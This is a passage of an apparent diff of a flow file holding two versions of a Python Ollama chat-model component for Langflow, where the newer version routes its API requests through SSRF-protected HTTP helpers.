name=\"repeat_last_n\",\n display_name=\"Repeat Last N\",\n info=\"How far back the model looks to prevent repetition. (Default: 64, 0 = disabled, -1 = num_ctx)\",\n advanced=True,\n ),\n FloatInput(\n name=\"repeat_penalty\",\n display_name=\"Repeat Penalty\",\n info=\"Penalty for repetitions in generated text. (Default: 1.1)\",\n advanced=True,\n ),\n FloatInput(name=\"tfs_z\", display_name=\"TFS Z\", info=\"Tail free sampling value. (Default: 1)\", advanced=True),\n IntInput(name=\"timeout\", display_name=\"Timeout\", info=\"Timeout for the request stream.\", advanced=True),\n IntInput(\n name=\"top_k\", display_name=\"Top K\", info=\"Limits token selection to top K. (Default: 40)\", advanced=True\n ),\n FloatInput(name=\"top_p\", display_name=\"Top P\", info=\"Works together with top-k. (Default: 0.9)\", advanced=True),\n BoolInput(\n name=\"enable_verbose_output\",\n display_name=\"Ollama Verbose Output\",\n info=\"Whether to print out response text.\",\n advanced=True,\n ),\n MessageTextInput(\n name=\"tags\",\n display_name=\"Tags\",\n info=\"Comma-separated list of tags to add to the run trace.\",\n advanced=True,\n ),\n MessageTextInput(\n name=\"stop_tokens\",\n display_name=\"Stop Tokens\",\n info=\"Comma-separated list of tokens to signal the model to stop generating text.\",\n advanced=True,\n ),\n MessageTextInput(\n name=\"system\", display_name=\"System\", info=\"System to use for generating text.\", advanced=True\n ),\n BoolInput(\n name=\"tool_model_enabled\",\n display_name=\"Tool Model Enabled\",\n info=\"Whether to enable tool calling in the model.\",\n value=True,\n real_time_refresh=True,\n ),\n MessageTextInput(\n name=\"template\", display_name=\"Template\", info=\"Template to use for generating text.\", advanced=True\n ),\n BoolInput(\n name=\"enable_structured_output\",\n display_name=\"Enable Structured Output\",\n info=\"Whether to enable structured output in the model.\",\n value=False,\n advanced=False,\n real_time_refresh=True,\n ),\n *LCModelComponent.get_base_inputs(),\n ]\n\n outputs = [\n Output(display_name=\"Text\", name=\"text_output\", method=\"text_response\"),\n Output(display_name=\"Language Model\", name=\"model_output\", method=\"build_model\"),\n Output(display_name=\"JSON\", name=\"data_output\", method=\"build_data_output\"),\n Output(display_name=\"Table\", name=\"dataframe_output\", method=\"build_dataframe_output\"),\n ]\n\n def build_model(self) -> LanguageModel: # type: ignore[type-var]\n # Mapping mirostat settings to their corresponding values\n mirostat_options = {\"Mirostat\": 1, \"Mirostat 2.0\": 2}\n\n # Default to None for 'Disabled'\n mirostat_value = mirostat_options.get(self.mirostat, None)\n\n # Set mirostat_eta and mirostat_tau to None if mirostat is disabled\n if mirostat_value is None:\n mirostat_eta = None\n mirostat_tau = None\n else:\n mirostat_eta = self.mirostat_eta\n mirostat_tau = self.mirostat_tau\n\n transformed_base_url = transform_localhost_url(self.base_url)\n\n # Check if URL contains /v1 suffix (OpenAI-compatible mode)\n if transformed_base_url and transformed_base_url.rstrip(\"/\").endswith(\"/v1\"):\n # Strip /v1 suffix and log warning\n transformed_base_url = transformed_base_url.rstrip(\"/\").removesuffix(\"/v1\")\n logger.warning(\n \"Detected '/v1' suffix in base URL. The Ollama component uses the native Ollama API, \"\n \"not the OpenAI-compatible API. The '/v1' suffix has been automatically removed. \"\n \"If you want to use the OpenAI-compatible API, please use the OpenAI component instead. \"\n \"Learn more at https://docs.ollama.com/openai#openai-compatibility\"\n )\n\n try:\n output_format = self._parse_format_field(self.format) if self.enable_structured_output else None\n except Exception as e:\n msg = f\"Failed to parse the format field: {e}\"\n raise ValueError(msg) from e\n\n # Mapping system settings to their corresponding values\n llm_params = {\n \"base_url\": transformed_base_url,\n \"model\": self.model_name,\n \"mirostat\": mirostat_value,\n \"format\": output_format or None,\n \"metadata\": self.metadata,\n \"tags\": self.tags.split(\",\") if self.tags else None,\n \"mirostat_eta\": mirostat_eta,\n \"mirostat_tau\": mirostat_tau,\n \"num_ctx\": self.num_ctx or None,\n \"num_gpu\": self.num_gpu or None,\n \"num_thread\": self.num_thread or None,\n \"repeat_last_n\": self.repeat_last_n or None,\n \"repeat_penalty\": self.repeat_penalty or None,\n \"temperature\": self.temperature or None,\n \"stop\": self.stop_tokens.split(\",\") if self.stop_tokens else None,\n \"system\": self.system,\n \"tfs_z\": self.tfs_z or None,\n \"timeout\": self.timeout or None,\n \"top_k\": self.top_k or None,\n \"top_p\": self.top_p or None,\n \"verbose\": self.enable_verbose_output or False,\n \"template\": self.template,\n }\n headers = self.headers\n if headers is not None:\n llm_params[\"client_kwargs\"] = {\"headers\": headers}\n\n # Remove parameters with None values\n llm_params = {k: v for k, v in llm_params.items() if v is not None}\n\n try:\n output = ChatOllama(**llm_params)\n except Exception as e:\n msg = (\n \"Unable to connect to the Ollama API. \"\n \"Please verify the base URL, ensure the relevant Ollama model is pulled, and try again.\"\n )\n raise ValueError(msg) from e\n\n return output\n\n async def is_valid_ollama_url(self, url: str) -> bool:\n try:\n async with httpx.AsyncClient() as client:\n url = transform_localhost_url(url)\n if not url:\n return False\n # Strip /v1 suffix if present, as Ollama API endpoints are at root level\n url = url.rstrip(\"/\").removesuffix(\"/v1\")\n if not url.endswith(\"/\"):\n url = url + \"/\"\n return (\n await client.get(url=urljoin(url, \"api/tags\"), headers=self.headers)\n ).status_code == HTTP_STATUS_OK\n except httpx.RequestError:\n return False\n\n async def update_build_config(self, build_config: dict, field_value: Any, field_name: str | None = None):\n if field_name == \"enable_structured_output\": # bind enable_structured_output boolean to format show value\n build_config[\"format\"][\"show\"] = field_value\n\n if field_name == \"mirostat\":\n if field_value == \"Disabled\":\n build_config[\"mirostat_eta\"][\"advanced\"] = True\n build_config[\"mirostat_tau\"][\"advanced\"] = True\n build_config[\"mirostat_eta\"][\"value\"] = None\n build_config[\"mirostat_tau\"][\"value\"] = None\n\n else:\n build_config[\"mirostat_eta\"][\"advanced\"] = False\n build_config[\"mirostat_tau\"][\"advanced\"] = False\n\n if field_value == \"Mirostat 2.0\":\n build_config[\"mirostat_eta\"][\"value\"] = 0.2\n build_config[\"mirostat_tau\"][\"value\"] = 10\n else:\n build_config[\"mirostat_eta\"][\"value\"] = 0.1\n build_config[\"mirostat_tau\"][\"value\"] = 5\n\n if field_name in {\"model_name\", \"base_url\", \"tool_model_enabled\"}:\n # Use field_value if base_url is being updated, otherwise use self.base_url\n base_url_to_check = field_value if field_name == \"base_url\" else self.base_url\n # Fallback to self.base_url if field_value is None or empty\n if not base_url_to_check and field_name == \"base_url\":\n base_url_to_check = self.base_url\n logger.warning(f\"Fetching Ollama models from updated URL: {base_url_to_check}\")\n\n if base_url_to_check and await self.is_valid_ollama_url(base_url_to_check):\n tool_model_enabled = build_config[\"tool_model_enabled\"].get(\"value\", False) or self.tool_model_enabled\n build_config[\"model_name\"][\"options\"] = await self.get_models(\n base_url_to_check, tool_model_enabled=tool_model_enabled\n )\n else:\n build_config[\"model_name\"][\"options\"] = []\n if field_name == \"keep_alive_flag\":\n if field_value == \"Keep\":\n build_config[\"keep_alive\"][\"value\"] = \"-1\"\n build_config[\"keep_alive\"][\"advanced\"] = True\n elif field_value == \"Immediately\":\n build_config[\"keep_alive\"][\"value\"] = \"0\"\n build_config[\"keep_alive\"][\"advanced\"] = True\n else:\n build_config[\"keep_alive\"][\"advanced\"] = False\n\n return build_config\n\n async def get_models(self, base_url_value: str, *, tool_model_enabled: bool | None = None) -> list[str]:\n \"\"\"Fetches a list of models from the Ollama API suitable for text generation.\n\n Args:\n base_url_value (str): The base URL of the Ollama API.\n tool_model_enabled (bool | None, optional): If True, filters the models further to include\n only those that support tool calling. Defaults to None.\n\n Returns:\n list[str]: A list of model names suitable for text generation. Models are included if:\n - They have the \"completion\" capability, OR\n - The capabilities field is not returned (backwards compatibility with older Ollama versions)\n If `tool_model_enabled` is True, only models with verified \"tools\" capability are included\n (models without capabilities info are excluded in this case).\n\n Raises:\n ValueError: If there is an issue with the API request or response, or if the model\n names cannot be retrieved.\n \"\"\"\n try:\n # Strip /v1 suffix if present, as Ollama API endpoints are at root level\n base_url = base_url_value.rstrip(\"/\").removesuffix(\"/v1\")\n if not base_url.endswith(\"/\"):\n base_url = base_url + \"/\"\n base_url = transform_localhost_url(base_url)\n\n # Ollama REST API to return models\n tags_url = urljoin(base_url, \"api/tags\")\n\n # Ollama REST API to return model capabilities\n show_url = urljoin(base_url, \"api/show\")\n\n async with httpx.AsyncClient() as client:\n headers = self.headers\n # Fetch available models\n tags_response = await client.get(url=tags_url, headers=headers)\n tags_response.raise_for_status()\n models = tags_response.json()\n if asyncio.iscoroutine(models):\n models = await models\n await logger.adebug(f\"Available models: {models}\")\n\n # Filter models that are NOT embedding models\n model_ids = []\n for model in models[self.JSON_MODELS_KEY]:\n model_name = model[self.JSON_NAME_KEY]\n await logger.adebug(f\"Checking model: {model_name}\")\n\n payload = {\"model\": model_name}\n show_response = await client.post(url=show_url, json=payload, headers=headers)\n show_response.raise_for_status()\n json_data = show_response.json()\n if asyncio.iscoroutine(json_data):\n json_data = await json_data\n\n capabilities = json_data.get(self.JSON_CAPABILITIES_KEY)\n await logger.adebug(f\"Model: {model_name}, Capabilities: {capabilities}\")\n\n # If capabilities not provided, assume it's a completion model (backwards compatibility\n # with older Ollama versions that don't return capabilities from /api/show)\n if capabilities is None:\n if not tool_model_enabled:\n model_ids.append(model_name)\n # If tool_model_enabled is True but no capabilities info, skip the model\n # since we can't verify tool support\n elif self.DESIRED_CAPABILITY in capabilities and (\n not tool_model_enabled or self.TOOL_CALLING_CAPABILITY in capabilities\n ):\n model_ids.append(model_name)\n\n except (httpx.RequestError, ValueError) as e:\n msg = \"Could not get model names from Ollama.\"\n raise ValueError(msg) from e\n\n return model_ids\n\n def _parse_format_field(self, format_value: Any) -> Any:\n \"\"\"Parse the format field to handle both string and dict inputs.\n\n The format field can be:\n - A simple string like \"json\" (backward compatibility)\n - A JSON string from NestedDictInput that needs parsing\n - A dict/JSON schema (already parsed)\n - None or empty\n\n Args:\n format_value: The raw format value from the input field\n\n Returns:\n Parsed format value as string, dict, or None\n \"\"\"\n if not format_value:\n return None\n\n schema = format_value\n if isinstance(format_value, list):\n schema = build_model_from_schema(format_value).model_json_schema()\n if schema == self.default_table_row_schema:\n return None # the rows are generic placeholder rows\n elif isinstance(format_value, str): # parse as json if string\n with suppress(json.JSONDecodeError): # e.g., literal \"json\" is valid for format field\n schema = json.loads(format_value)\n\n return schema or None\n\n async def _parse_json_response(self) -> Any:\n \"\"\"Parse the JSON response from the model.\n\n This method gets the text response and attempts to parse it as JSON.\n Works with models that have format='json' or a JSON schema set.\n\n Returns:\n Parsed JSON (dict, list, or primitive type)\n\n Raises:\n ValueError: If the response is not valid JSON\n \"\"\"\n message = await self.text_response()\n text = message.text if hasattr(message, \"text\") else str(message)\n\n if not text:\n msg = \"No response from model\"\n raise ValueError(msg)\n\n try:\n return json.loads(text)\n except json.JSONDecodeError as e:\n msg = f\"Invalid JSON response. Ensure model supports JSON output. Error: {e}\"\n raise ValueError(msg) from e\n\n async def build_data_output(self) -> Data:\n \"\"\"Build a Data output from the model's JSON response.\n\n Returns:\n Data: A Data object containing the parsed JSON response\n \"\"\"\n parsed = await self._parse_json_response()\n\n # If the response is already a dict, wrap it in Data\n if isinstance(parsed, dict):\n return Data(data=parsed)\n\n # If it's a list, wrap in a results container\n if isinstance(parsed, list):\n if len(parsed) == 1:\n return Data(data=parsed[0])\n return Data(data={\"results\": parsed})\n\n # For primitive types, wrap in a value container\n return Data(data={\"value\": parsed})\n\n async def build_dataframe_output(self) -> DataFrame:\n \"\"\"Build a DataFrame output from the model's JSON response.\n\n Returns:\n DataFrame: A DataFrame containing the parsed JSON response\n\n Raises:\n ValueError: If the response cannot be converted to a DataFrame\n \"\"\"\n parsed = await self._parse_json_response()\n\n # If it's a list of dicts, convert directly to DataFrame\n if isinstance(parsed, list):\n if not parsed:\n return DataFrame()\n # Ensure all items are dicts for proper DataFrame conversion\n if all(isinstance(item, dict) for item in parsed):\n return DataFrame(parsed)\n msg = \"List items must be dictionaries to convert to DataFrame\"\n raise ValueError(msg)\n\n # If it's a single dict, wrap in a list to create a single-row DataFrame\n if isinstance(parsed, dict):\n return DataFrame([parsed])\n\n # For primitive types, create a single-column DataFrame\n return DataFrame([{\"value\": parsed}])\n\n @property\n def headers(self) -> dict[str, str] | None:\n \"\"\"Get the headers for the Ollama API.\"\"\"\n if self.api_key and self.api_key.strip():\n return {\"Authorization\": f\"Bearer {self.api_key}\"}\n return None\n" + "value": "import asyncio\nimport json\nfrom contextlib import suppress\nfrom typing import Any\nfrom urllib.parse import urljoin\n\nimport httpx\nfrom langchain_ollama import ChatOllama\nfrom lfx.base.models.model import LCModelComponent\nfrom lfx.field_typing import LanguageModel\nfrom lfx.field_typing.range_spec import RangeSpec\nfrom lfx.helpers.base_model import build_model_from_schema\nfrom lfx.io import (\n BoolInput,\n DictInput,\n DropdownInput,\n FloatInput,\n IntInput,\n MessageTextInput,\n Output,\n SecretStrInput,\n SliderInput,\n StrInput,\n TableInput,\n)\nfrom lfx.log.logger import logger\nfrom lfx.schema.data import Data\nfrom lfx.schema.dataframe import DataFrame\nfrom lfx.schema.table import EditMode\nfrom lfx.utils.ssrf_httpx import (\n ssrf_protected_httpx_client_kwargs_for_url,\n ssrf_safe_async_get,\n ssrf_safe_async_post,\n)\nfrom lfx.utils.ssrf_protection import SSRFProtectionError\nfrom lfx.utils.util import transform_localhost_url\n\nHTTP_STATUS_OK = 200\nTABLE_ROW_PLACEHOLDER = {\"name\": \"field\", \"description\": \"description of field\", \"type\": \"str\", \"multiple\": \"False\"}\n\n\nclass ChatOllamaComponent(LCModelComponent):\n display_name = \"Ollama\"\n description = \"Generate text using Ollama Local LLMs.\"\n icon = \"Ollama\"\n name = \"OllamaModel\"\n\n # Define constants for JSON keys\n JSON_MODELS_KEY = \"models\"\n JSON_NAME_KEY = \"name\"\n JSON_CAPABILITIES_KEY = \"capabilities\"\n DESIRED_CAPABILITY = \"completion\"\n TOOL_CALLING_CAPABILITY = \"tools\"\n\n # Define the table schema for the format input\n TABLE_SCHEMA = [\n {\n \"name\": \"name\",\n \"display_name\": \"Name\",\n \"type\": \"str\",\n \"description\": \"Specify the name of the output field.\",\n \"default\": \"field\",\n \"edit_mode\": EditMode.INLINE,\n },\n {\n \"name\": \"description\",\n \"display_name\": \"Description\",\n \"type\": \"str\",\n \"description\": \"Describe the purpose of the output field.\",\n \"default\": \"description of field\",\n \"edit_mode\": EditMode.POPOVER,\n },\n {\n \"name\": \"type\",\n \"display_name\": \"Type\",\n \"type\": \"str\",\n \"edit_mode\": EditMode.INLINE,\n \"description\": (\"Indicate the data type of the output field (e.g., str, int, float, bool, dict).\"),\n \"options\": [\"str\", \"int\", \"float\", \"bool\", \"dict\"],\n \"default\": \"str\",\n },\n {\n \"name\": \"multiple\",\n \"display_name\": \"As List\",\n \"type\": \"boolean\",\n \"description\": \"Set to True if this output field should be a list of the specified type.\",\n \"edit_mode\": EditMode.INLINE,\n \"options\": [\"True\", \"False\"],\n \"default\": \"False\",\n },\n ]\n default_table_row = {row[\"name\"]: row.get(\"default\", None) for row in TABLE_SCHEMA}\n default_table_row_schema = build_model_from_schema([default_table_row]).model_json_schema()\n\n inputs = [\n StrInput(\n name=\"base_url\",\n display_name=\"Ollama API URL\",\n info=\"Endpoint of the Ollama API. Defaults to http://localhost:11434.\",\n value=\"http://localhost:11434\",\n real_time_refresh=True,\n ),\n DropdownInput(\n name=\"model_name\",\n display_name=\"Model Name\",\n options=[],\n info=\"Refer to https://ollama.com/library for more models.\",\n refresh_button=True,\n real_time_refresh=True,\n required=True,\n ),\n SecretStrInput(\n name=\"api_key\",\n display_name=\"Ollama API Key\",\n info=\"Your Ollama API key.\",\n value=None,\n required=False,\n real_time_refresh=True,\n advanced=True,\n ),\n SliderInput(\n name=\"temperature\",\n display_name=\"Temperature\",\n value=0.1,\n range_spec=RangeSpec(min=0, max=1, step=0.01),\n advanced=True,\n ),\n TableInput(\n name=\"format\",\n display_name=\"Format\",\n info=\"Specify the format of the output.\",\n table_schema=TABLE_SCHEMA,\n value=default_table_row,\n show=False,\n ),\n DictInput(name=\"metadata\", display_name=\"Metadata\", info=\"Metadata to add to the run trace.\", advanced=True),\n DropdownInput(\n name=\"mirostat\",\n display_name=\"Mirostat\",\n options=[\"Disabled\", \"Mirostat\", \"Mirostat 2.0\"],\n info=\"Enable/disable Mirostat sampling for controlling perplexity.\",\n value=\"Disabled\",\n advanced=True,\n real_time_refresh=True,\n ),\n FloatInput(\n name=\"mirostat_eta\",\n display_name=\"Mirostat Eta\",\n info=\"Learning rate for Mirostat algorithm. (Default: 0.1)\",\n advanced=True,\n ),\n FloatInput(\n name=\"mirostat_tau\",\n display_name=\"Mirostat Tau\",\n info=\"Controls the balance between coherence and diversity of the output. (Default: 5.0)\",\n advanced=True,\n ),\n IntInput(\n name=\"num_ctx\",\n display_name=\"Context Window Size\",\n info=\"Size of the context window for generating tokens. (Default: 2048)\",\n advanced=True,\n ),\n IntInput(\n name=\"num_gpu\",\n display_name=\"Number of GPUs\",\n info=\"Number of GPUs to use for computation. (Default: 1 on macOS, 0 to disable)\",\n advanced=True,\n ),\n IntInput(\n name=\"num_thread\",\n display_name=\"Number of Threads\",\n info=\"Number of threads to use during computation. (Default: detected for optimal performance)\",\n advanced=True,\n ),\n IntInput(\n name=\"repeat_last_n\",\n display_name=\"Repeat Last N\",\n info=\"How far back the model looks to prevent repetition. (Default: 64, 0 = disabled, -1 = num_ctx)\",\n advanced=True,\n ),\n FloatInput(\n name=\"repeat_penalty\",\n display_name=\"Repeat Penalty\",\n info=\"Penalty for repetitions in generated text. (Default: 1.1)\",\n advanced=True,\n ),\n FloatInput(name=\"tfs_z\", display_name=\"TFS Z\", info=\"Tail free sampling value. (Default: 1)\", advanced=True),\n IntInput(name=\"timeout\", display_name=\"Timeout\", info=\"Timeout for the request stream.\", advanced=True),\n IntInput(\n name=\"top_k\", display_name=\"Top K\", info=\"Limits token selection to top K. (Default: 40)\", advanced=True\n ),\n FloatInput(name=\"top_p\", display_name=\"Top P\", info=\"Works together with top-k. (Default: 0.9)\", advanced=True),\n BoolInput(\n name=\"enable_verbose_output\",\n display_name=\"Ollama Verbose Output\",\n info=\"Whether to print out response text.\",\n advanced=True,\n ),\n MessageTextInput(\n name=\"tags\",\n display_name=\"Tags\",\n info=\"Comma-separated list of tags to add to the run trace.\",\n advanced=True,\n ),\n MessageTextInput(\n name=\"stop_tokens\",\n display_name=\"Stop Tokens\",\n info=\"Comma-separated list of tokens to signal the model to stop generating text.\",\n advanced=True,\n ),\n MessageTextInput(\n name=\"system\", display_name=\"System\", info=\"System to use for generating text.\", advanced=True\n ),\n BoolInput(\n name=\"tool_model_enabled\",\n display_name=\"Tool Model Enabled\",\n info=\"Whether to enable tool calling in the model.\",\n value=True,\n real_time_refresh=True,\n ),\n MessageTextInput(\n name=\"template\", display_name=\"Template\", info=\"Template to use for generating text.\", advanced=True\n ),\n BoolInput(\n name=\"enable_structured_output\",\n display_name=\"Enable Structured Output\",\n info=\"Whether to enable structured output in the model.\",\n value=False,\n advanced=False,\n real_time_refresh=True,\n ),\n *LCModelComponent.get_base_inputs(),\n ]\n\n outputs = [\n Output(display_name=\"Text\", name=\"text_output\", method=\"text_response\"),\n Output(display_name=\"Language Model\", name=\"model_output\", method=\"build_model\"),\n Output(display_name=\"JSON\", name=\"data_output\", method=\"build_data_output\"),\n Output(display_name=\"Table\", name=\"dataframe_output\", method=\"build_dataframe_output\"),\n ]\n\n def build_model(self) -> LanguageModel: # type: ignore[type-var]\n # Mapping mirostat settings to their corresponding values\n mirostat_options = {\"Mirostat\": 1, \"Mirostat 2.0\": 2}\n\n # Default to None for 'Disabled'\n mirostat_value = mirostat_options.get(self.mirostat, None)\n\n # Set mirostat_eta and mirostat_tau to None if mirostat is disabled\n if mirostat_value is None:\n mirostat_eta = None\n mirostat_tau = None\n else:\n mirostat_eta = self.mirostat_eta\n mirostat_tau = self.mirostat_tau\n\n transformed_base_url = transform_localhost_url(self.base_url)\n\n # Check if URL contains /v1 suffix (OpenAI-compatible mode)\n if transformed_base_url and transformed_base_url.rstrip(\"/\").endswith(\"/v1\"):\n # Strip /v1 suffix and log warning\n transformed_base_url = transformed_base_url.rstrip(\"/\").removesuffix(\"/v1\")\n logger.warning(\n \"Detected '/v1' suffix in base URL. The Ollama component uses the native Ollama API, \"\n \"not the OpenAI-compatible API. The '/v1' suffix has been automatically removed. \"\n \"If you want to use the OpenAI-compatible API, please use the OpenAI component instead. \"\n \"Learn more at https://docs.ollama.com/openai#openai-compatibility\"\n )\n\n sync_client_kwargs, async_client_kwargs = ssrf_protected_httpx_client_kwargs_for_url(transformed_base_url)\n\n try:\n output_format = self._parse_format_field(self.format) if self.enable_structured_output else None\n except Exception as e:\n msg = f\"Failed to parse the format field: {e}\"\n raise ValueError(msg) from e\n\n # Mapping system settings to their corresponding values\n llm_params = {\n \"base_url\": transformed_base_url,\n \"model\": self.model_name,\n \"mirostat\": mirostat_value,\n \"format\": output_format or None,\n \"metadata\": self.metadata,\n \"tags\": self.tags.split(\",\") if self.tags else None,\n \"mirostat_eta\": mirostat_eta,\n \"mirostat_tau\": mirostat_tau,\n \"num_ctx\": self.num_ctx or None,\n \"num_gpu\": self.num_gpu or None,\n \"num_thread\": self.num_thread or None,\n \"repeat_last_n\": self.repeat_last_n or None,\n \"repeat_penalty\": self.repeat_penalty or None,\n \"temperature\": self.temperature or None,\n \"stop\": self.stop_tokens.split(\",\") if self.stop_tokens else None,\n \"system\": self.system,\n \"tfs_z\": self.tfs_z or None,\n \"timeout\": self.timeout or None,\n \"top_k\": self.top_k or None,\n \"top_p\": self.top_p or None,\n \"verbose\": self.enable_verbose_output or False,\n \"template\": self.template,\n }\n headers = self.headers\n if headers is not None:\n llm_params[\"client_kwargs\"] = {\"headers\": headers}\n if sync_client_kwargs:\n llm_params[\"sync_client_kwargs\"] = sync_client_kwargs\n if async_client_kwargs:\n llm_params[\"async_client_kwargs\"] = async_client_kwargs\n\n # Remove parameters with None values\n llm_params = {k: v for k, v in llm_params.items() if v is not None}\n\n try:\n output = ChatOllama(**llm_params)\n except Exception as e:\n msg = (\n \"Unable to connect to the Ollama API. \"\n \"Please verify the base URL, ensure the relevant Ollama model is pulled, and try again.\"\n )\n raise ValueError(msg) from e\n\n return output\n\n async def is_valid_ollama_url(self, url: str) -> bool:\n try:\n url = transform_localhost_url(url)\n if not url:\n return False\n # Strip /v1 suffix if present, as Ollama API endpoints are at root level\n url = url.rstrip(\"/\").removesuffix(\"/v1\")\n if not url.endswith(\"/\"):\n url = url + \"/\"\n response = await ssrf_safe_async_get(urljoin(url, \"api/tags\"), headers=self.headers)\n except SSRFProtectionError as e:\n msg = f\"SSRF Protection: {e}\"\n raise ValueError(msg) from e\n except httpx.RequestError:\n return False\n else:\n return response.status_code == HTTP_STATUS_OK\n\n async def update_build_config(self, build_config: dict, field_value: Any, field_name: str | None = None):\n if field_name == \"enable_structured_output\": # bind enable_structured_output boolean to format show value\n build_config[\"format\"][\"show\"] = field_value\n\n if field_name == \"mirostat\":\n if field_value == \"Disabled\":\n build_config[\"mirostat_eta\"][\"advanced\"] = True\n build_config[\"mirostat_tau\"][\"advanced\"] = True\n build_config[\"mirostat_eta\"][\"value\"] = None\n build_config[\"mirostat_tau\"][\"value\"] = None\n\n else:\n build_config[\"mirostat_eta\"][\"advanced\"] = False\n build_config[\"mirostat_tau\"][\"advanced\"] = False\n\n if field_value == \"Mirostat 2.0\":\n build_config[\"mirostat_eta\"][\"value\"] = 0.2\n build_config[\"mirostat_tau\"][\"value\"] = 10\n else:\n build_config[\"mirostat_eta\"][\"value\"] = 0.1\n build_config[\"mirostat_tau\"][\"value\"] = 5\n\n if field_name in {\"model_name\", \"base_url\", \"tool_model_enabled\"}:\n # Use field_value if base_url is being updated, otherwise use self.base_url\n base_url_to_check = field_value if field_name == \"base_url\" else self.base_url\n # Fallback to self.base_url if field_value is None or empty\n if not base_url_to_check and field_name == \"base_url\":\n base_url_to_check = self.base_url\n logger.warning(f\"Fetching Ollama models from updated URL: {base_url_to_check}\")\n\n if base_url_to_check and await self.is_valid_ollama_url(base_url_to_check):\n tool_model_enabled = build_config[\"tool_model_enabled\"].get(\"value\", False) or self.tool_model_enabled\n build_config[\"model_name\"][\"options\"] = await self.get_models(\n base_url_to_check, tool_model_enabled=tool_model_enabled\n )\n else:\n build_config[\"model_name\"][\"options\"] = []\n if field_name == \"keep_alive_flag\":\n if field_value == \"Keep\":\n build_config[\"keep_alive\"][\"value\"] = \"-1\"\n build_config[\"keep_alive\"][\"advanced\"] = True\n elif field_value == \"Immediately\":\n build_config[\"keep_alive\"][\"value\"] = \"0\"\n build_config[\"keep_alive\"][\"advanced\"] = True\n else:\n build_config[\"keep_alive\"][\"advanced\"] = False\n\n return build_config\n\n async def get_models(self, base_url_value: str, *, tool_model_enabled: bool | None = None) -> list[str]:\n \"\"\"Fetches a list of models from the Ollama API suitable for text generation.\n\n Args:\n base_url_value (str): The base URL of the Ollama API.\n tool_model_enabled (bool | None, optional): If True, filters the models further to include\n only those that support tool calling. Defaults to None.\n\n Returns:\n list[str]: A list of model names suitable for text generation. Models are included if:\n - They have the \"completion\" capability, OR\n - The capabilities field is not returned (backwards compatibility with older Ollama versions)\n If `tool_model_enabled` is True, only models with verified \"tools\" capability are included\n (models without capabilities info are excluded in this case).\n\n Raises:\n ValueError: If there is an issue with the API request or response, or if the model\n names cannot be retrieved.\n \"\"\"\n try:\n # Strip /v1 suffix if present, as Ollama API endpoints are at root level\n base_url = base_url_value.rstrip(\"/\").removesuffix(\"/v1\")\n if not base_url.endswith(\"/\"):\n base_url = base_url + \"/\"\n base_url = transform_localhost_url(base_url)\n\n # Ollama REST API to return models\n tags_url = urljoin(base_url, \"api/tags\")\n\n # Ollama REST API to return model capabilities\n show_url = urljoin(base_url, \"api/show\")\n\n headers = self.headers\n # Fetch available models\n tags_response = await ssrf_safe_async_get(tags_url, headers=headers)\n tags_response.raise_for_status()\n models = tags_response.json()\n if asyncio.iscoroutine(models):\n models = await models\n await logger.adebug(f\"Available models: {models}\")\n\n # Filter models that are NOT embedding models\n model_ids = []\n for model in models[self.JSON_MODELS_KEY]:\n model_name = model[self.JSON_NAME_KEY]\n await logger.adebug(f\"Checking model: {model_name}\")\n\n payload = {\"model\": model_name}\n show_response = await ssrf_safe_async_post(show_url, json=payload, headers=headers)\n show_response.raise_for_status()\n json_data = show_response.json()\n if asyncio.iscoroutine(json_data):\n json_data = await json_data\n\n capabilities = json_data.get(self.JSON_CAPABILITIES_KEY)\n await logger.adebug(f\"Model: {model_name}, Capabilities: {capabilities}\")\n\n # If capabilities not provided, assume it's a completion model (backwards compatibility\n # with older Ollama versions that don't return capabilities from /api/show)\n if capabilities is None:\n if not tool_model_enabled:\n model_ids.append(model_name)\n # If tool_model_enabled is True but no capabilities info, skip the model\n # since we can't verify tool support\n elif self.DESIRED_CAPABILITY in capabilities and (\n not tool_model_enabled or self.TOOL_CALLING_CAPABILITY in capabilities\n ):\n model_ids.append(model_name)\n\n except SSRFProtectionError as e:\n msg = f\"SSRF Protection: {e}\"\n raise ValueError(msg) from e\n except (httpx.RequestError, ValueError) as e:\n msg = \"Could not get model names from Ollama.\"\n raise ValueError(msg) from e\n\n return model_ids\n\n def _parse_format_field(self, format_value: Any) -> Any:\n \"\"\"Parse the format field to handle both string and dict inputs.\n\n The format field can be:\n - A simple string like \"json\" (backward compatibility)\n - A JSON string from NestedDictInput that needs parsing\n - A dict/JSON schema (already parsed)\n - None or empty\n\n Args:\n format_value: The raw format value from the input field\n\n Returns:\n Parsed format value as string, dict, or None\n \"\"\"\n if not format_value:\n return None\n\n schema = format_value\n if isinstance(format_value, list):\n schema = build_model_from_schema(format_value).model_json_schema()\n if schema == self.default_table_row_schema:\n return None # the rows are generic placeholder rows\n elif isinstance(format_value, str): # parse as json if string\n with suppress(json.JSONDecodeError): # e.g., literal \"json\" is valid for format field\n schema = json.loads(format_value)\n\n return schema or None\n\n async def _parse_json_response(self) -> Any:\n \"\"\"Parse the JSON response from the model.\n\n This method gets the text response and attempts to parse it as JSON.\n Works with models that have format='json' or a JSON schema set.\n\n Returns:\n Parsed JSON (dict, list, or primitive type)\n\n Raises:\n ValueError: If the response is not valid JSON\n \"\"\"\n message = await self.text_response()\n text = message.text if hasattr(message, \"text\") else str(message)\n\n if not text:\n msg = \"No response from model\"\n raise ValueError(msg)\n\n try:\n return json.loads(text)\n except json.JSONDecodeError as e:\n msg = f\"Invalid JSON response. Ensure model supports JSON output. Error: {e}\"\n raise ValueError(msg) from e\n\n async def build_data_output(self) -> Data:\n \"\"\"Build a Data output from the model's JSON response.\n\n Returns:\n Data: A Data object containing the parsed JSON response\n \"\"\"\n parsed = await self._parse_json_response()\n\n # If the response is already a dict, wrap it in Data\n if isinstance(parsed, dict):\n return Data(data=parsed)\n\n # If it's a list, wrap in a results container\n if isinstance(parsed, list):\n if len(parsed) == 1:\n return Data(data=parsed[0])\n return Data(data={\"results\": parsed})\n\n # For primitive types, wrap in a value container\n return Data(data={\"value\": parsed})\n\n async def build_dataframe_output(self) -> DataFrame:\n \"\"\"Build a DataFrame output from the model's JSON response.\n\n Returns:\n DataFrame: A DataFrame containing the parsed JSON response\n\n Raises:\n ValueError: If the response cannot be converted to a DataFrame\n \"\"\"\n parsed = await self._parse_json_response()\n\n # If it's a list of dicts, convert directly to DataFrame\n if isinstance(parsed, list):\n if not parsed:\n return DataFrame()\n # Ensure all items are dicts for proper DataFrame conversion\n if all(isinstance(item, dict) for item in parsed):\n return DataFrame(parsed)\n msg = \"List items must be dictionaries to convert to DataFrame\"\n raise ValueError(msg)\n\n # If it's a single dict, wrap in a list to create a single-row DataFrame\n if 